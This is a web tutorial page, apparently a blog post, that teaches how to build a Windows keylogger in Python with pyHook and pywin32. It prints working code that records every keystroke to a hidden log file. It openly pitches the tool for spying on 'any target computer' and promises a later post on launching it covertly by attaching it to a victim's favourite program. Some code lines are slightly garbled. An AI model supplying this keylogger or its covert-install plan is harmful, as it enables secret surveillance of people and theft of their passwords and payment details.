Business

nav

Comments

3D Phone
3D Tablets
3D Lapi
3D Tables Coming Soon!
3D Lapi Coming Soon!

Create Simple Python Keylogger - Step by Step


What is Keylogger?Where it is used?

Definition:

     A keylogger is a hardware device or a software program that records the real time activity of a computer user including the keyboard keys they press. 


     Keyloggers are used in IT organizations to troubleshoot technical problems with computers and business networks. Keyloggers can also be used by a family (or business) to monitor the network usage of people without their direct knowledge. Finally, malicious individuals may use keyloggers on public computers to steal passwords or credit card information.

You know that you can create a simple Keylogger using python on your system with a simple guideness. 

In this tutorial I will show you how to create an own keylogger to record key strokes in PC directly using Python programming. Using this method you can spy any target computer with ease.

You can ask why python?

Python is simple , powerful ,flexible programming language.if ur new to this programming language Python is good to start with.
   A simple keylogger written in python. It is primarily designed for backup purposes, but can be used as a stealth keylogger, too. It does not raise any trust issues, since it is a set of [relatively] short python scripts that you can easily examine

What are the Tools requred to start?

step.1>> download python

first u should required python. really u need a python installed in your system u can download the latest version for  your current operating sys. at this site . python.org/getit

Once installed , yout computer should be python friendly and include new links to the IDLE platform
(i.e Pyton scriping Interface)

step.2 >>download modules

To make programming easier Python has called Modules is available  for it. containing useful code and exten python code functionality. for instant if u want to interact python with Window u can download python windows module pywin32 code contain necessary for this interaction to work

the module we need to our keylogger to work are pywin32 and pyHook module
download this module through this link  goo.gl/DdKLg

Note: 
  1. when u open the link u will find these Module when u scroll down (these modules are in alphabetical order)
  2. Make sure u have dowload the module according to ur python  version

Step.3:>>open IDLE(Python GUI)

 In winxp,vista,7 : From the start menu select,” Python 2.7 > IDLE(Python GUI)”

In win 8 and 8.1 : Form the start screen select IDLE

 


Now, Click “File > New window”






Step 3: Now type the code in Phython window 

u can use different methods using files and other is using logging module
In this tutorial we will using Logging if u want to the keylogger using files then click here.
 
first u  have to import the modules to ur  file by writing this code

import logging, sys,
import
pythoncom , pyHook

first we have to create a variable that tell us to where to save the loging data. ( i.e we have to create log.txt that save the keystrokes  when they are pressed )

file_log = 'C:\\imp\\log.txt'


u need double slash(\\) to path however inorder to python to understand

now we have to create a function that moniter our keyboard Events

 def OnKeyboardEvent(event):

then we can create a  logging modules to set our file name , the Bugging level and the logging format
then we have a logging each character as it corresponding Acsii format
then return True at the end of the function and watch for the next event to occur

    logging.basicConfig(filename=file_log, level=logging.DEBUG, format ='%(message)')
    logging.log(10, chr(event.Ascii))
    return True


for the last bit of the code we have to set up pyHook_manager
which allows us to Hook on windows events
let set up us keyboard insert the keydown variable to watch for key presses
the pythoncom module captures the key messages

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()


type the entire code as shown in the below image fig.3





the last thing to do is SAVE it



Step.4:>>Save and Run

 

 


after Save . now run the python program  to do
goto  Run>>Run Module (or F5)









after Runing the program then Python Shell will be prompt up
if u have any error  it will run otherwise it show error.





now it will work without any poping up any window
Surpisingly it is simple

Note:  indenting should be properly done

The next to figure out how to launch it in user computer without knowing that is being launched
one method is to do that is to attach it with user favourite program.

That i will do it in the next  Post. 
Still then  Like our Facebook Page and wait still our next post .Thank you




Still then  Like our Facebook Page and wait still our next post .Thank you